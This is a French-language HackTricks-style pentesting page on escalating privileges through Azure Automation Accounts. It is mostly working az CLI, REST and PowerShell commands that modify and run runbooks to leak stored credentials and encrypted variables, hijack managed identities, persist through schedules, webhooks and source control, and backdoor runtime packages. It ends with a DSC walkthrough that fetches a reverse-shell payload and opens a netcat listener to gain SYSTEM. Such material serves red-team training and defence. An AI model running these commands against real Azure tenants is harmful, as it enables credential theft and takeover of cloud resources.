Az - Azure Automation Accounts Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Azure Automation Accounts

Pour plus d’informations, voir :

Az - Automation Accounts

Hybrid Workers Group

  • De l’Automation Account vers la VM

N’oubliez pas que si, d’une manière ou d’une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un hybrid worker, il pourra pivot vers l’emplacement de la VM. Cela peut être une machine on-premise, un VPC d’un cloud différent ou même une Azure VM.

De plus, si le hybrid worker s’exécute dans Azure avec d’autres Managed Identities attachées, le runbook pourra accéder à la managed identity du runbook et à toutes les managed identities de la VM via le metadata service.

Tip

Rappelez-vous que le metadata service a une URL différente (http://169.254.169.254) du service depuis lequel on obtient le token des Managed Identities de l’Automation Account (IDENTITY_ENDPOINT).

  • De la VM vers l’Automation Account

De plus, si quelqu’un compromet une VM où s’exécute un script d’Automation Account, il pourra localiser les métadonnées de l’Automation Account et y accéder depuis la VM pour obtenir des tokens pour les Managed Identities attachées à l’Automation Account.

Comme on peut le voir dans l’image suivante, en ayant un accès Administrator sur la VM, il est possible de trouver dans les environment variables of the process l’URL et le secret permettant d’accéder au automation account metadata service :

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

En résumé, ces permissions permettent de créer, modifier et exécuter des Runbooks dans l’Automation Account, ce que vous pouvez utiliser pour exécuter du code dans le contexte de l’Automation Account, escalader les privilèges vers les Managed Identities assignées et leak des credentials et des encrypted variables stockés dans l’Automation Account.

La permission Microsoft.Automation/automationAccounts/runbooks/draft/write permet de modifier le code d’un Runbook dans l’Automation Account en utilisant :

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Remarquez comment le script précédent peut être utilisé pour leak the useranmd and password d’un credential et la valeur d’une encrypted variable stockée dans l’Automation Account.

La permission Microsoft.Automation/automationAccounts/runbooks/publish/action permet à l’utilisateur de publier un Runbook dans l’Automation Account pour que les modifications soient appliquées :

az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

La permission Microsoft.Automation/automationAccounts/jobs/write permet à l’utilisateur d’exécuter un Runbook dans l’Automation Account en utilisant :

az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

La permission Microsoft.Automation/automationAccounts/jobs/output/read permet à l’utilisateur de lire la sortie d’un job dans l’Automation Account en utilisant :

az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

S’il n’y a pas de Runbooks créés, ou si vous voulez en créer un nouveau, vous aurez besoin des permissions Microsoft.Resources/subscriptions/resourcegroups/read et Microsoft.Automation/automationAccounts/runbooks/write pour le faire en utilisant :

az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Cette permission permet à l’utilisateur d’assigner une user managed identity à l’Automation Account en utilisant :

az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Avec l’autorisation Microsoft.Automation/automationAccounts/schedules/write, il est possible de créer un nouveau Schedule dans l’Automation Account qui s’exécute toutes les 15 minutes (peu discret) en utilisant la commande suivante.

Notez que l’intervalle minimum pour un Schedule est de 15 minutes, et que l’heure de début minimale est de 5 minutes dans le futur.

## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Ensuite, avec l’autorisation Microsoft.Automation/automationAccounts/jobSchedules/write, il est possible d’affecter un Scheduler à un runbook en utilisant :

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

Tip

Dans l’exemple précédent, l’ID jobchedule a été laissé comme b510808a-8fdc-4509-a115-12cfc3a2ad0d à titre d’exemple, mais vous devrez utiliser une valeur arbitraire pour créer cette assignation.

Microsoft.Automation/automationAccounts/webhooks/write

Avec l’autorisation Microsoft.Automation/automationAccounts/webhooks/write, il est possible de créer un nouveau Webhook pour un Runbook dans un Automation Account en utilisant l’une des commandes suivantes.

With Azure Powershell:

New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Avec AzureCLI et REST :

az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'

Ces commandes devraient retourner un webhook URI qui n’est affiché qu’à la création. Ensuite, pour appeler le runbook en utilisant le webhook URI

curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Rien qu’avec la permission Microsoft.Automation/automationAccounts/runbooks/draft/write il est possible de mettre à jour le code d’un Runbook sans le publier et de l’exécuter en utilisant les commandes suivantes.

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Cette autorisation permet à l’utilisateur de configurer un contrôle de version pour l’Automation Account en utilisant une commande telle que la suivante (exemple avec Github) :

az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Cela importera automatiquement les runbooks depuis le dépôt Github vers l’Automation Account et, avec d’autres permissions pour commencer à les exécuter, il serait possible to escalate privileges.

De plus, souvenez-vous que pour que source control fonctionne dans les Automation Accounts il doit avoir une managed identity avec le rôle Contributor et si c’est une user managed identity le cleint id du MI doit être spécifié dans la variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

Tip

Notez qu’il n’est pas possible de changer le repo URL d’un source control une fois qu’il est créé.

Microsoft.Automation/automationAccounts/variables/write

Avec la permission Microsoft.Automation/automationAccounts/variables/write il est possible d’écrire des variables dans l’Automation Account en utilisant la commande suivante.

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Environnements d’exécution personnalisés

Si un automation account utilise un custom runtime environment, il peut être possible d’écraser un custom package du runtime avec du code malveillant (comme a backdoor). Ainsi, chaque fois qu’un runbook utilisant ce custom runtime est exécuté et charge le custom package, le code malveillant sera exécuté.

Compromettre la configuration d’état

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Étape 1 — Créer les fichiers

Fichiers requis : Deux scripts PowerShell sont nécessaires :

  1. reverse_shell_config.ps1: un fichier Desired State Configuration (DSC) qui récupère et exécute le payload. Il est disponible sur GitHub.
  2. push_reverse_shell_config.ps1: un script pour publier la configuration sur la VM, disponible sur GitHub.

Personnalisation : Les variables et paramètres dans ces fichiers doivent être adaptés à l’environnement spécifique de l’utilisateur, y compris les noms de ressources, chemins de fichiers et identifiants de serveur/payload.

  • Étape 2 — Compresser le fichier de configuration

Le fichier reverse_shell_config.ps1 est compressé dans une archive .zip, prêt à être transféré vers l’Azure Storage Account.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Étape 3 — Définir le contexte de stockage et téléverser

Le fichier de configuration zippé est téléversé dans un conteneur Azure Storage prédéfini, azure-pentest, en utilisant le cmdlet Set-AzStorageBlobContent d’Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Étape 4 — Préparer la Kali Box

Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

Le script est modifié pour spécifier la Windows VM cible et le port du reverse shell.

  • Step 5 — Publish Configuration File

Le fichier de configuration est exécuté, entraînant le déploiement du script reverse-shell à l’emplacement spécifié sur la Windows VM.

  • Step 6 — Host Payload and Setup Listener

Un Python SimpleHTTPServer est démarré pour héberger le payload, accompagné d’un listener Netcat pour capturer les connexions entrantes.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

La tâche planifiée exécute le payload, obtenant des privilèges au niveau SYSTEM.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks